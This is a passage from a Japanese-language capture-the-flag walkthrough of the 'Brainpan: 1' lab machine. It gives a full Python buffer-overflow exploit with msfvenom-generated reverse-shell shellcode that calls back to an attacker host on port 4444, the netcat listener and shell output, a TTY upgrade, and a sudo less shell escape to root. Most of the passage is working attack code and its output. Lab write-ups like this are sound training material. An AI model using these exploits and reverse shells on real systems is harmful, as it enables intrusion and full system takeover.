s.send(junk + return_address + NOP + shellcode)
s.close()
攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Pythonコマンドを実行します。
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.128] 49218
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\bin>hostname
hostname
VMOSX-WIN7-CNT
アクセスの取得
これまでに判明した、brainpan.exeが抱えるバッファオーバーフローの脆弱性と、ペイロードを組み合わせて、「Brainpan: 1」のアクセスの取得を狙います。
「Brainpan: 1」はLinuxターゲットです。このため、再度、msfvenomコマンドを使用して、Linux対応なリバースシェルシェルコードを生成します。
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 -a x86 --platform linux -b "\x00" -f c > shellcode_lin.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
root@kali:~#
用意したshellcode_lin.txtを送信するようにコードを書き換えます。
# !/usr/bin/python
import sys,socket
host = "172.16.208.233"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8
shellcode = ("\xb8\x45\x12\x30\x8d\xda\xd8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x12\x83\xc3\x04\x31\x43\x0e\x03\x06\x1c\xd2\x78\xb9\xfb\xe5"
"\x60\xea\xb8\x5a\x0d\x0e\xb6\xbc\x61\x68\x05\xbe\x11\x2d\x25"
"\x80\xd8\x4d\x0c\x86\x1b\x25\x23\x68\x0c\x47\x53\x8b\xac\xb6"
"\xf8\x02\x4d\x08\x66\x45\xdf\x3b\xd4\x66\x56\x5a\xd7\xe9\x3a"
"\xf4\x86\xc6\xc9\x6c\x3f\x36\x01\x0e\xd6\xc1\xbe\x9c\x7b\x5b"
"\xa1\x90\x77\x96\xa2")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()
攻撃端末側でncコマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Pythonコマンドを実行します。
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.233] 58149
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
hostname
brainpan
システム探索
pythonコードで、ncシェルをTTYシェルにアップグレードします。
python -c "import pty; pty.spawn('/bin/bash')"
puck@brainpan:/home/puck$
sudo権限が付与されていれば、特権昇格の手間を省くことができそうです。sudo -lコマンド構文にて確認してみます。
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$
(root) NOPASSWD: /home/anansi/bin/anansi_utilの記録に注目します。パスワードなしでsudo権限が付与されているようです。実際に、実行してみます。
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
puck@brainpan:/home/puck$
特権の引き上げ
anansi_utilバイナリはlessコマンドを使用してマニュアルページを表示する機能を提供しています。lessコマンドには、閲覧中に任意のシェルコマンドを実行できる機能が提供されています。
- lessで表示している際の主なキー操作
| キー操作 | 内容 |
|---|---|
| !コマンド | シェルでコマンドを実行する(シェルは環境変数SHELLで変更可能) |
この機能の裏をついて、/bin/bashを起動してみましょう。
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /bin/bash
sudo /home/anansi/bin/anansi_util manual /bin/bash
/usr/bin/man: manual-/bin/bash: No such file or directory
/usr/bin/man: manual_/bin/bash: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man#
特権昇格に成功しました。特権昇格後、/rootディレクトリを探索します。b.txtファイルが確認できます。
root@brainpan:~# cd /root; hostname; id; cat b.txt
cd /root; hostname; id; cat b.txt
brainpan
uid=0(root) gid=0(root) groups=0(root)
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:~#